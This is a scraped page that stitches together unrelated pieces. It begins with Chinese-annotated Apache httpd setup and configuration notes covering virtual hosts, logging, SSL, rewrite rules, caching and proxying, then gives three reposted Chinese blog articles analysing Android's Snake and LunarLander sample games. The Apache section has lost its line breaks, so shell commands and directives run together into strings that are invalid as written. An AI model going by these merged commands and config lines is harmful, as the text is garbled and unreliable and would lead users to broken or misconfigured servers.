/etc/init.d/httpd chmod +x /etc/init.d/httpdchkconfig --add httpdchkconfig httpd onln -s /usr/local/apache/bin/apachectl /sbin#############configvi /usr/local/apache/conf/httpd.confServerRoot "/usr/local/apache"Listen 80User wwwGroup wwwServerAdmin 13285921108@163.comServerName 192.168.10.54:80DocumentRoot "/usr/local/apache/htdocs"ErrorLog "logs/error_log"AddDefaultCharset UTF-8IncludeOptional conf/conf.d/*.confLogLevel warnHostnameLookups OffCustomLog "logs/access_log" combined###vi /usr/local/apache/conf/conf.d/test.com.confServername www.test.com,test.com Documentroot "/usr/local/apache/htdocs/test.com" Customlog "logs/test.com.log" combinedServername music.test.com Documentroot "/usr/local/apache/htdocs/test.com/music" Customlog "logs/test.com.log" combinedRequire all grantedServername book.test.com Documentroot "/usr/local/apache/htdocs/test.com/book" Customlog "logs/test.com.log" combinedRequire all granted#############end config#####################################################安装模块#################cd modulename./configure --with-apxs=/usr/local/apache/bin/apxsmakemake install##############end 安装模块######################################################安装php模块################################cd php-4.3.2./configure --with-apxs=/usr/local/apache/bin/apxsmake&&make installAddType application/x-httpd-php .php AddHandler application/x-httpd-php .php##############end 安装PHP模块####################################日志格式"%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""CustomLog logs/access_log combinedLogLevel Debug#记录cookieLoadModule usertrack_module modules/mod_usertrack.soCookieStyle RFC2965 CookieTracking onCustomLog logs/cookies_in.log "%{UNIQUE_ID}e %{Cookie}i"#end 记录cookie##不记录本机图像请求的日志SetEnvIfNoCase Referer "^http://www.local.com/" local_referrer=1CustomLog logs/access_log combined env=!local_referrer##end 不记录本机图像请求的日志##以天为时间来更新日志CustomLog "| /path/rotatelogs /path/logs/access_log.%Y-%m-%d 86400" combined#######end##将活动日志记录到MYSQL数据库mysqladmin create apache_logmysql apache_logmysql apache_log < access_log.sqlgrant insert,create on apache_log.* to webserver@localhost identified by 'password';MySQLLoginInfo localhost webserver password MySQLDatabase apache_log MySQLTransferLogTable access_log MySQLTransferLogFormat huSUsbTvRA###CustomLog | xx.sh combined##########以端口寻址的虚拟主机Listen 8001 NameVirtualHost *:8001 ServerAdmin limingnihao@iteye.com DocumentRoot "E:/_org.js/extjs-4.1.0/" ServerName extjs.localhost ErrorLog "logs/dummy-host2.localhost-error.log" CustomLog "logs/dummy-host2.localhost-access.log" common Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all Require all grantedNameVirtualHost *:80ServerName www.test1.com DocumentRoot /www/test1/ Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all ################end############ipServerName xxx DocumentRoot "xxx"Order deny,allow allow from all Require all grantedServerName www.test1.com DocumentRoot /www/test3/ Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow From All ###################################sslListen 443NameVirtualHost *ServerName xx.com DocumentRoot /ss SSLEngine On SSLCertificateFile /xx/secure1.crt SSLCertificateKeyFile /xx/secure1.key ErrorLog CustomLog xx combined##############################rewriteRewriteEngine onRewriteRule index.html index.phpRewriteRule (\d+).html$ info\.php\?infoid=$1######ErrorDocument 404 /errors/notfound.html##########配置反盗链RewriteEngine on#允许空“HTTP_REFERER”的访问RewriteCond %{HTTP_REFERER} !^$ [NC] RewriteCond %{HTTP_REFERER} !nobing.cn [NC]#定义被盗链时替代的图片RewriteRule .*\.(gif|jpg)$ http://nobing.cn/no.png [R,NC,L]################################配置缓存LoadModule cache_module modules/mod_cache.so LoadModule mem_cache_module modules/mod_mem_cache.so#默认缓存有效期(秒)CacheDefaultExpire 3600 CacheMaxExpire 86400 CacheLastModifiedFactor 0.1 #禁止缓存某些特定的URL CacheDisable /local_files #使用特定的存储类型缓存某些特定的URL CacheEnable mem /manual CacheEnable fd /images CacheEnable disk / CacheEnable mem / MCacheSize 8192 MCacheMaxObjectCount 10000 MCacheMinObjectSize 1 MCacheMaxObjectSize 51200 #MCacheRemovalAlgorithm LRU ##########################################/usr/local/apache/bin/apachectl -k start#start/usr/local/apache/bin/apachectl -f /usr/local/apache/conf/httpd.conf#stopkill -TERM `cat /usr/local/apache/logs/httpd.pid`apachectl -k stop#restartapachectl -k gracefulapachectl -k restartListen 80Listen 8000Listen 192.0.2.1:80Listen 192.0.2.5:8000Alias /newurl /www/htdocs/oldurl#every one has his own dirUserDir public_htmlredirect temp/permanent/seeother/goneCheckSpelling On#替换请求URL中的文字RewriteCond %{REQUEST_URI} "string1"RewriteRule "(.*)string1(.*)" "$1string2$2" [N,PT]#将路径信息重写至CGIRewriteEngine OnRewriteRule ^/book/([^/]*)/([^/]*) /cgi-bin/book.cgi?author=$1&subject=$2#将所有请求都重定向到httpsRewriteCond "%{SERVER_PORT}" "^80$"RewriteRule "^(.*)$" "https://%{SERVER_NAME}$1" [R,L]#将所有的请求都重定向到单一主机RewriteCond "%{HTTP_HOST}" "!^www.example.com$" [NC,OR]RewriteCond "%{SERVER_NAME}" "!^www.example.com$" [NC]RewriteRule "(.*)" "http://www.example.com$1" [R]#AuthType BasicAuthName HomeDirAuthUserFile /etc/passwdRequire valid-userSatisfy All##nginx 获取 自定义头部,需要加上前缀 http_#限制上传文件的大小,不超过10000字节SetEnvIf Content-Length "^[1-9][0-9]{4,}" upload_too_large=1Order Deny,Allow Deny from env=upload_too_large ErrorDocument 403 /cgi-bin/remap-403-to-413##################################################图片防盗链 SetEnvIfNoCase Referer "^http://([^/]*\.)?myserver.com/" local_referrer=1 Order Allow,Deny Allow from env=local_referrer #RewriteRule %{ENV:local_referrer} !=1 /Stolen-100*100.png [L]################################################在子目录中放宽限制Satisfy AnyOrder Deny,AllowAllow from all##############################只对文件拥有者开放AuthType Basic AuthName "MyOwnFiles" AuthUserFile /xx Require file-owner#########################################防止暴力破解PerLogHandler Apache::BruteWatchPerlSetVar BruteDatabase DBI:mysql:brutelogPerlSetVar BruteDataUser usernamePerlSetVar BruteDataPassword passwordPerlSetVar BruteMaxTries 5PerlSetVar BruteMaxTime 10PerlSetVar BruteNotify xx@qq.com###############################[F,NC] :禁止RewriteRule "\.(dll|zip|exe)$" protect.php [NC]##产生SSL证书openssl x509 -req -days 365 -in hostname.csr -signkey hostname.key -out hostname.crtSSLEngine OnSSLCertificateFile /xxx/ssl.crtSSLCertificateKeyFile /xxx/xx.key####CASSLVerifyClient requireSSLVerifyDepth 1SSLCACertificateFile conf/ssl.crt/ca.crt###nginx 常用编译./configure --prefix=/usr/local/test/nginx --with-file-aio --with-ipv6 --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module --with-http_stub_status_module --add-module=/usr/local/src/nginx-1.12.2/ngx_http_substitutions_filter_module##########ScriptAlias /cgi-bin/ /www/cgi-bin/Alias /cgi-bin/ /www/cgi-bin/ Options ExecCGI SetHandler cgi-script Options +ExecCGI AddHandler cgi-script .cgi .py .pl##自己的CGI程序Action watermark /cgi-bin/watermark.cgiAddHandler watermark .gif .jpg##Options +IncludesErrorDocument 405 /errors/notallowed.html###防止代理服务器被作为开放式的邮件转发工具 RewriteEngine On RewriteRule "^proxy:[a-z]*://[^/]*:25(/|$)" "-" [F,NC,L]ProxyPass /other/ http://other.server.com/ProxyPassReverse /other/ http://other.server.com/ProxyBlock www.xx.com xx.com#将服务器设为代理服务器,并高速缓存ProxyRequests onCacheRoot /var/spool/httpd/proxy###############过滤mod_ext_filterExtFilterDefine naughtywords mode=output intype=text/html cmd="/bin/sed s/darned/blasted/g"SetOutputFilter naughtywords####################对代理服务器进行身份验证###########性能MaxClients 125 最多处理125个进程ab -n 1000 -c 10 http://www.xx.comKeepAlive OnMaxKeepAliveRequests 0KeepAliveTimeout 15##服务器状态SetHandler server-statusExtendedStatus On######HostnameLookups off;AllowOverride None;NMapFileCacheFile--enable-file_cacheOptions +IndexesDirectoryIndex

优秀的个人博客,低调大师

Android实例剖析笔记(七)

上一篇文章分析了Snake的界面Layout实现,本文将关注游戏主界面这个View是如何实现的,并提出了我的一些困惑之处,希望有朋友能帮忙解惑。 Snake这个项目把主界面剖成界面UI和游戏逻辑两层,最基础的界面UI部分用父类TileView来表示,子类SnakeView是在TileView的UI基础上,加入相应的游戏控制逻辑,从而实现了两者的分离,这对于游戏的修改非常有用。 UI实现部分 首先来看界面UI部分,基本思想大家都非常清楚:把整个屏幕看做一个二维数组,每一个元素可以视为一个方块,因此每个方格在游戏进行过程中可以处于不同的状态,比如空闲,墙,苹果,贪食蛇(蛇身或蛇头)。我们在操作游戏的过程,其实就是不断修改相应方格的状态,然后再让整个View去重绘制自身(当然,还需要加入一些游戏当前所处状态(失败或成功)的判定机制)。 TileView的数据成员如下: 复制代码 //方格的大小 protected static int mTileSize; //方格的行数和列数 protected static int mXTileCount; protected static int mYTileCount; //xy坐标系的偏移量 private static int mXOffset; private static int mYOffset; //存储三种方格的图标文件 private Bitmap[] mTileArray; //二维方格地图 private int[][] mTileGrid; 复制代码 那么在游戏还未正式开始前,首先要做一些初始化工作,在View第一次加载时会首先调用onSizeChanged,这里就是做这些事的最好时机。 复制代码 @Override protected void onSizeChanged(int w, int h, int oldw, int oldh) { //计算屏幕中可放置的方格的行数和列数 mXTileCount = (int) Math.floor(w / mTileSize); mYTileCount = (int) Math.floor(h / mTileSize); mXOffset = ((w - (mTileSize * mXTileCount)) / 2); mYOffset = ((h - (mTileSize * mYTileCount)) / 2); mTileGrid = new int[mXTileCount][mYTileCount]; clearTiles(); } 复制代码 注意模拟器屏幕默认的像素是320×400,而代码中默认的方格大小为12,因此屏幕上放置的方格数为26×40,把屏幕剖分成这么大后,再设置一个相应的二维int型数组来记录每一个方格的状态,根据方格的状态,可以从mTileArray保存的图标文件中读取对应的状态图标。 第一次调用完onSizeChanged后,会紧跟着第一次来调用onDraw来绘制View自身,当然,此时由于所有方格的状态都是0,所以它在屏幕上等于什么也不会去绘制。 复制代码 public void onDraw(Canvas canvas) { super.onDraw(canvas); for (int x = 0; x < mXTileCount; x += 1) { for (int y = 0; y < mYTileCount; y += 1) { if (mTileGrid[x][y] > 0) { canvas.drawBitmap(mTileArray[mTileGrid[x][y]], mXOffset + x * mTileSize, mYOffset + y * mTileSize, mPaint); } } } } 复制代码 onDraw要做的工作非常简单,就是扫描每一个方格,根据方格当前状态,从图标文件中选择对应的图标绘制到这个方格上。当然这个onDraw在游戏进行过程中,会不断地被调用,从而界面不断被更新。 游戏逻辑部分 再来看子类SnakeView是如何在父类TileView的基础上,加入特定的游戏逻辑,从而完成Snake这个程序的。 private ArrayList<Coordinate> mSnakeTrail = new ArrayList<Coordinate>();//组成贪食蛇的方格列表 private ArrayList<Coordinate> mAppleList = new ArrayList<Coordinate>();//苹果方格列表 由于SnakeView从TileView继承而来,则可以说它已经拥有这个二维方格地图了(只是此时地图里的所有方格状态都是0)。那么它有了这么一个二维方格地图,如何去初始化这个地图呢?这在initNewGame函数中实现。 复制代码 private void initNewGame() { //清空蛇和苹果占据的方格 mSnakeTrail.clear(); mAppleList.clear(); //目前组成蛇的方格式固定的,而且方向也固定朝北 mSnakeTrail.add(new Coordinate(7, 7)); mSnakeTrail.add(new Coordinate(6, 7)); mSnakeTrail.add(new Coordinate(5, 7)); mSnakeTrail.add(new Coordinate(4, 7)); mSnakeTrail.add(new Coordinate(3, 7)); mSnakeTrail.add(new Coordinate(2, 7)); mNextDirection = NORTH; //随即加入苹果 for (int i = 0; i < nApples; ++i) { addRandomApple(); } //初始化运动速率和玩家成绩 mMoveDelay = 600; mScore = 0; } 复制代码 想象下对整个游戏屏幕拍张照,然后对其下一个状态再拍张照,那么两张照片之间的区别是怎么产生的呢?对于系统来说,它只知道不断调用onDraw,后者负责对整个屏幕进行绘制,那要产生两个屏幕之间的差异,肯定要通过一些手段对某些数据结构(比如这里的二维方格地图)进行调整(比如用户的控制指令,定时器等),然后等到下一次onDraw时就会把这些更改在界面上反映出来。 这里要着重说明下private long mMoveDelay = 600;这个成员变量,虽然很不起眼,但仔细考虑它的作用就会发现很有趣,那么改变它的大小到底是如何让我们感觉到游戏变快或变慢呢? 可以打个简单的比方,在时刻0游戏启动,首先把蛇和苹果的位置都在方格地图上作好了标记,然后我们在update函数中修改蛇身让蛇向北前进一步,而这个改变此时还只是停留在内部的核心数据结构上(即二维方格地图),还没有在界面上显示出来。当然,我们马上想到要想让这更改显示出来,让系统调用onDraw去绘制不就完了吗?可是问题是我们不知道系统是隔多长时间去调用onDraw函数,于是mMoveDelay此时就发挥作用了,通过它就可以设置休眠的时间,等时间一到,马上就会通知SnakeView去重绘制。你可以试试把mMoveDelay数值调大,就会看出我上面提到的“拍照“的效果。 Handler的使用 写过JavaScript或者ActionScript的开发者,对于setInterval的用法会非常了解。那么在Android中如何实现setInterval的方法呢?其中有两种方法可以实现类似的功能,其中一个是在线程中调用Handler方法,另外一个是应用Timer。Snake中使用了前者 复制代码 class RefreshHandler extends Handler { @Override public void handleMessage(Message msg) {//“苏醒”后的处理 SnakeView.this.update(); SnakeView.this.invalidate(); } public void sleep(long delayMillis) {//休眠delayMillis毫秒 this.removeMessages(0); sendMessageDelayed(obtainMessage(0), delayMillis); } }; 复制代码 而实际调用的处理函数update就可以说是整个游戏的引擎,正是由于它的工作(修改蛇和苹果的状态到一个新的状态,然后休眠自己,然后等到苏醒后在Handler中就会让系统区绘制上次修改过的二维方块地图,然后再次调用update,如此循环反复,生生不息),才使得游戏不断被推进,因此,比做“引擎“不为过。 复制代码 public void update() { if (mMode == RUNNING) { long now = System.currentTimeMillis(); if (now - mLastMove > mMoveDelay) { clearTiles(); updateWalls(); updateSnake(); updateApples(); mLastMove = now; } mRedrawHandler.sleep(mMoveDelay); } } 复制代码 既然update是游戏的动力,要让游戏停止下来只要不再调用update就可以了(因为此时其实是画面静止了),因此游戏进入暂停(这个状态还可以转为“运行“,其实就是继续可以修改,再绘制),若进入失败(其实此时二维方块地图还停留在最后一个画面处,这也是为什么在开始时要首先清理掉整个地图)【这一点,可以在游戏失败后,再次开始新游戏,此时通过设置的断点即可观察到上次游戏运行时的底层数据】。 一点困惑 可是个人认为Snake下面这段代码读起来有点怪,有点像一个“先有鸡,还是先有蛋?“的问题,导致我的思维逻辑上出现一个“怪圈“。 public void handleMessage(Message msg) { SnakeView.this.update(); SnakeView.this.invalidate(); } 按照这段代码的意思来看,当休眠的时间已经到了,首先去调用update,即为下一次绘制做准备工作,再让自己休眠起来,最后通知系统重绘制自己。 哎,这让我难以理解,还是回到时刻0的例子来说,在时刻0时让蛇身向北前进了一步(指的是底层的二维方格地图的修改,不是界面),然后让自己休眠0.6毫秒,当时间到了,首先去调用update方法,那么就又会让蛇身做出修改,也就是把上一次还没绘制的覆盖掉了(那么上一次的修改岂不是白费,还没画上去呢),更何况在update中又会让自己去休眠(还没调用invalidate,怎么又去休眠了?),又怎么还能去通知系统调用我的onDraw方法呢?也就是说invalidate根本没有执行??? 按我的理解,应该把顺序颠倒一下,先通知系统去调用onDraw方法重绘,使得上一次对底层二维方格地图的修改显示出来,然后再去为下一次修改做准备工作,最后让自己进入休眠,等待苏醒过来,如此循环反复。实验证明,颠倒过来也是正确的,不过关于这一个迷惑我的地方,希望有朋友能指点我一下! 记得在javascript里使用setInterval时,也是先写处理逻辑,然后在末尾处写上一句setInterval(这也是我习惯的思维方式了),难道google上面这种写法有何深意? 此外,感觉每次绘制时都重新绘制墙壁,有点浪费时间,因为墙壁根本没有任何变化的。还有就是mLastMove这个变量设置的初衷是保证当前时间点距上一次变化已经过去了mMoveDelay毫秒,可是既然已经用了sleep机制,再使用这个时间差看上去并无必要。 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/29/1556530.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android实例剖析笔记(八)

上一篇文章分析了小游戏Snake的基本框架,本文将分析Android自带的另一个小游戏LunarLander,它与前者的“定时器+系统调用onDraw”架构相比,由于采用了“多线程+强制自行绘制”的架构思路,因而更为实用。 和Snake的比较 就界面Layout来说,这个程序其实和Snake没有什么不同,同样是采用了FrameLayout,而且游戏的主界面由一个自定义的View来实现,这里是LunarView。读过上一篇文章的朋友也许会发现,Snake的架构是“定时器+系统调用onDraw”来实现的,这里有一个最大的缺陷就是onDraw是由Android系统来调用的,我们只能依赖它,却无法自行控制。这就好比一个黑盒,当然,总是能把我们要的东西给做出来,可却无法控制其做事的细节,这对于游戏这样高效率的东西可是不利的,因此最好的解决之道当然是把绘制这部分工作自己”承包“过来,告别吃大锅饭的,进入”联产承包制”时代。 此外,由于游戏的本质就是连续两帧图片之间发生些许差异,那么要不断催生这种差异的发生,只要有某种连续不断发生的事件在进行就可以,例如Snake中使用的定时器,就是在不断地产生这种“差异源”,与此类似,一个线程也是不断在运行中,通过它也是可以不断产生这种“差异源”的。 SurfaceView初探 如果说Snake中使用的Layout加自定义View是一把小型武器的话,那在SurfaceView对于android中游戏的开发来说就算是重型武器了。我们使用前者时总是容易把游戏中某个对象(比如上文的每一个方格)当做一个小组件来处理,而后者则根本没有这种划分的概念,在它眼中,所有东西都是在Canvas(画布)中自行绘制出来的(背景,人物等)。 SurfaceView提供直接访问一个可画图的界面,可以控制在界面顶部的子视图层。SurfaceView是提供给需要直接画像素而不是使用窗体部件的应用使用的。Android图形系统中一个重要的概念和线索是surface。View及其子类(如TextView, Button) 要画在surface上。每个surface创建一个Canvas对象(但属性时常改变),用来管理view在surface上的绘图操作,如画点画线。还要注意的是,使用它的时候,一般都是出现在最顶层的:The view hierarchy will take care of correctly compositing with the Surface any siblings of the SurfaceView that would normally appear on top of it. 使用的SurfaceView的时候,一般情况下还要对其进行创建,销毁,改变时的情况进行监视,这就要用到SurfaceHolder.Callback. 复制代码 class LunarView extends SurfaceView implements SurfaceHolder.Callback { public void surfaceChanged(SurfaceHolder holder,int format,int width,int height){} //在surface的大小发生改变时激发 public void surfaceCreated(SurfaceHolder holder){} //在创建时激发,一般在这里调用画图的线程。 public void surfaceDestroyed(SurfaceHolder holder) {} //销毁时激发,一般在这里将画图的线程停止、释放。 } 复制代码 surfaceCreated会首先被调用,然后是surfaceChanged,当程序结束时会调用surfaceDestroyed。 下面来看看LunarView最重要的成员变量,也就是负责这个View所有处理的线程 复制代码 private LunarThread thread; // 实际工作线程 thread = new LunarThread(holder, context, new Handler() { @Override public void handleMessage(Message m) { mStatusText.setVisibility(m.getData().getInt("viz")); mStatusText.setText(m.getData().getString("text")); } }); 复制代码 这个线程由私有类LunarThread实现,它里面还有一个自己的消息队列处理器,用来接收游戏状态消息,并在屏幕上显示当前状态(而这个功能在Snake中是通过View自己控制其包含的TextView是否显示来实现的,相比之下,LunarThread的消息处理机制更为高效)。 由于有了LunarThread这个负责具体工作的对象,所以LunarView的大部分工作都委托给后者去执行。 复制代码 public void surfaceChanged(SurfaceHolder holder, int format, int width,int height) { thread.setSurfaceSize(width, height); } public void surfaceCreated(SurfaceHolder holder) {//启动工作线程结束 thread.setRunning(true); thread.start(); } public void surfaceDestroyed(SurfaceHolder holder) { boolean retry = true; thread.setRunning(false); while (retry) { try {//等待工作线程结束,主线程才结束 thread.join(); retry = false; } catch (InterruptedException e) { } } } 复制代码 工作线程LunarThread 由于SurfaceHolder是一个共享资源,因此在对其操作时都应该实行“互斥操作“,即需要使用synchronized进行”封锁“机制。 再来讨论下为什么要使用消息机制来更新界面的文字信息呢?其实原因是这样的,渲染文字的工作实际上是主线程(也就是LunarView类)的父类View的工作,而并不属于工作线程LunarThread,因此在工作线程中式无法控制的。所以我们改为向主线程发送一个Message来代替,让主线程通过Handler对接收到的消息进行处理,从而更新界面文字信息。再回顾上一篇SnakeView里的文字信息更新,由于是SnakeView自己(就这一个线程)对其包含的TextView做控制,当然没有这样的问题了。 复制代码 public void setState(int mode, CharSequence message) { synchronized (mSurfaceHolder) { mMode = mode; if (mMode == STATE_RUNNING) {//运行中,隐藏界面文字信息 Message msg = mHandler.obtainMessage(); Bundle b = new Bundle(); b.putString("text", ""); b.putInt("viz", View.INVISIBLE); msg.setData(b); mHandler.sendMessage(msg); } else {//根据当前状态设置文字信息 mRotating = 0; mEngineFiring = false; Resources res = mContext.getResources(); CharSequence str = ""; if (mMode == STATE_READY) str = res.getText(R.string.mode_ready); else if (mMode == STATE_PAUSE) str = res.getText(R.string.mode_pause); else if (mMode == STATE_LOSE) str = res.getText(R.string.mode_lose); else if (mMode == STATE_WIN) str = res.getString(R.string.mode_win_prefix) + mWinsInARow + " " + res.getString(R.string.mode_win_suffix); if (message != null) { str = message + "\n" + str; } if (mMode == STATE_LOSE) mWinsInARow = 0; Message msg = mHandler.obtainMessage(); Bundle b = new Bundle(); b.putString("text", str.toString()); b.putInt("viz", View.VISIBLE); msg.setData(b); mHandler.sendMessage(msg); } } } 复制代码 下面就是LunaThread这个工作线程的执行函数了,它一直不断在重复做一件事情:锁定待绘制区域(这里是整个屏幕),若游戏还在进行状态,则更新底层的数据,然后直接强制界面重新绘制。 复制代码 public void run() { while (mRun) { Canvas c = null; try { //锁定待绘制区域 c = mSurfaceHolder.lockCanvas(null); synchronized (mSurfaceHolder) { if (mMode == STATE_RUNNING) updatePhysics();//更新底层数据,判断游戏状态 doDraw(c);//强制重绘制 } } finally { if (c != null) { mSurfaceHolder.unlockCanvasAndPost(c); } } } } 复制代码 这里要注意的是最后要调用unlockCanvasAndPost来结束锁定画图,并提交改变 强行自绘制 doDraw这段代码就是在自己的Canvas上进行绘制,具体的绘制就不解释了,主要就是用drawBitmap,drawRect,drawLine。值得注意的一段代码是下面这个: 复制代码 canvas.save(); canvas.rotate((float) mHeading, (float) mX, mCanvasHeight - (float) mY); if (mMode == STATE_LOSE) { mCrashedImage.setBounds(xLeft, yTop, xLeft + mLanderWidth, yTop + mLanderHeight); mCrashedImage.draw(canvas); } else if (mEngineFiring) { mFiringImage.setBounds(xLeft, yTop, xLeft + mLanderWidth, yTop + mLanderHeight); mFiringImage.draw(canvas); } else { mLanderImage.setBounds(xLeft, yTop, xLeft + mLanderWidth, yTop + mLanderHeight); mLanderImage.draw(canvas); } canvas.restore(); 复制代码 在绘制火箭的前后,调用了save()和restore(),它是先保存当前矩阵,将其复制到一个私有堆栈上。然后接下来对rotate的调用还是在原有的矩阵上进行操作,但当restore调用后,以前保存的设置又重新恢复。不过,在这里还是看不出有什么用处。。。 暂停/继续机制 LunarLancher的暂停其实并没有不再强制重绘制,而是没有对底层的数据做任何修改,依然绘制同一帧画面,而继续则是把mLastTime设置为当前时间+100毫秒的时间点,因为以前暂停时mLastTime就不再更新了,这样做事为了与当前时间同步起来。 复制代码 public void pause() {//暂停 synchronized (mSurfaceHolder) { if (mMode == STATE_RUNNING) setState(STATE_PAUSE); } } public void unpause() {// 继续 // Move the real time clock up to now synchronized (mSurfaceHolder) { mLastTime = System.currentTimeMillis() + 100; } setState(STATE_RUNNING); } 复制代码 这样做的目的是为了制造“延迟“的效果,都是因为updatePhysics函数里这两句 if (mLastTime > now) return; double elapsed = (now - mLastTime) / 1000.0; 至于游戏的控制逻辑和判定部分就不介绍了,没有多大意思。 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/30/1556678.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android实例剖析笔记(六)

上一篇文章介绍了我对Snake这个示例程序进行的一些简单修改,从这一篇开始真正开始详细分析Snake的具体实现。 本文首先分析Snake的界面Layout实现,并通过一个实验来说明项目中使用的FrameLayout和RelativeLayout这两种布局的效果,其次还介绍了一个用于UI优化的工具---hierarchyviewer。 Android Layout机制 1, FrameLayout 先来看官方文档的定义:FrameLayout是最简单的一个布局对象。它被定制为你屏幕上的一个空白备用区域,之后你可以在其中填充一个单一对象 — 比如,一张你要发布的图片。所有的子元素将会固定在屏幕的左上角;你不能为FrameLayout中的一个子元素指定一个位置。后一个子元素将会直接在前一个子元素之上进行覆盖填充,把它们部份或全部挡住(除非后一个子元素是透明的)。 有点绕口而且难理解,下面还是通过一个实例来理解吧。我们仿照Snake项目中使用的界面一样,建立一个简单的FrameLayout,其中包含两个Views元素:ImageView和TextView,而后面的TextView还包含在一个RelativeLayout中。 复制代码 <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent"> <ImageView android:layout_width="fill_parent" android:layout_height="fill_parent" android:scaleType="center" android:src="@drawable/img0"/> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:text="Hello Android" android:visibility="visible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:gravity="center_horizontal" android:textColor="#ffffffff" android:textSize="24sp"/> </RelativeLayout> </FrameLayout> 复制代码 效果如下图所示: 2,UI优化 Android的tools目录下提供了许多实用工具,这里介绍其中一个用于查看当前UI结构视图的工具hierarchyviewer。 打开tools/hierarchyviewer.bat后,查看上面这个示例的UI结构图可得: 我们可以很明显的看到由红色线框所包含的结构出现了两个framelayout节点,很明显这两个完全意义相同的节点造成了资源浪费(这里可以提醒大家在开发工程中可以习惯性的通过hierarchyViewer查看当前UI资源的分配情况),那么如何才能解决这种问题呢(就当前例子是如何去掉多余的frameLayout节点)?这时候就要用到<merge />标签来处理类似的问题了。我们将上边xml代码中的framLayout替换成merge: 复制代码 <merge xmlns:android="http://schemas.android.com/apk/res/android"> <ImageView android:layout_width="fill_parent" android:layout_height="fill_parent" android:scaleType="center" android:src="@drawable/img0"/> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:text="Hello Android" android:visibility="visible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:gravity="center_horizontal" android:textColor="#ffffffff" android:textSize="24sp"/> </RelativeLayout> </merge > 复制代码 运行程序后在Emulator中显示的效果是一样的,可是通过hierarchyviewer查看的UI结构是有变化的,当初多余的FrameLayout节点被合并在一起了,或者可以理解为将merge标签中的子集直接加到Activity的FrameLayout跟节点下(这里需要提醒大家注意:所有的Activity视图的根节点都是frameLayout)。如果你所创建的Layout并不是用framLayout作为根节点(而是应用LinerLayout等定义root标签),就不能应用上边的例子通过merge来优化UI结构。 3,RelativeLayout RelativeLayout允许子元素指定他们相对于其它元素或父元素的位置(通过ID指定)。因此,你可以以右对齐,或上下,或置于屏幕中央的形式来排列两个元素。元素按顺序排列,因此如果第一个元素在屏幕的中央,那么相对于这个元素的其它元素将以屏幕中央的相对位置来排列。如果使用XML来指定这个layout,在你定义它之前,被关联的元素必须定义。 解释起来也比较麻烦,不过我做个对比实验可以明白它的用处了,试着把上面例子里的RelativeLayout节点去掉看看,效果如下图所示,可以看到由于FrameLayout的原因,都在左上角靠拢了,而使用了RelativeLayout,则可以让TextView相对于屏幕居中。 4,Snake的界面分析 有了上述Layout的基础知识,我们再来看Snake的布局文件就很好理解了,就是一个SnakeView和一个TextView,启动后,后者会覆盖在前者上面。 复制代码 <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent"> <com.example.android.snake.SnakeView android:id="@+id/snake" android:layout_width="fill_parent" android:layout_height="fill_parent" tileSize="24" /> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:id="@+id/text" android:text="@string/snake_layout_text_text" android:visibility="visible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:gravity="center_horizontal" android:textColor="#ff8888ff" android:textSize="24sp"/> </RelativeLayout> </FrameLayout> 复制代码 也就是这样的效果: 那么相应的代码是如何实现这个效果的呢? SnakeView有一个私有变量存放覆盖其上的TextView: private TextView mStatusText; 在Snake这个activity的onCreate方法中,首先将Layout文件中的SnakeView和TextView关联起来: setContentView(R.layout.snake_layout); mSnakeView = (SnakeView) findViewById(R.id.snake); mSnakeView.setTextView((TextView) findViewById(R.id.text)); 然后设置SnakeView的状态为Ready mSnakeView.setMode(SnakeView.READY); 这一句代码会调用下述函数: 复制代码 public void setMode(int newMode) { int oldMode = mMode; mMode = newMode; if (newMode == RUNNING & oldMode != RUNNING) {//游戏进入“运行”状态,则隐藏文字信息 mStatusText.setVisibility(View.INVISIBLE); update(); return; } //根据新状态,设置待显示的文字信息 Resources res = getContext().getResources(); CharSequence str = ""; if (newMode == PAUSE) {//新状态为“暂停” str = res.getText(R.string.mode_pause); } if (newMode == READY) {//新状态为“准备开始” str = res.getText(R.string.mode_ready); } if (newMode == LOSE) {//新状态为“游戏失败” str = res.getString(R.string.mode_lose_prefix) + mScore + res.getString(R.string.mode_lose_suffix); } //设置文字信息并显示 mStatusText.setText(str); mStatusText.setVisibility(View.VISIBLE); } 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/28/1555980.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android实例剖析笔记(三)

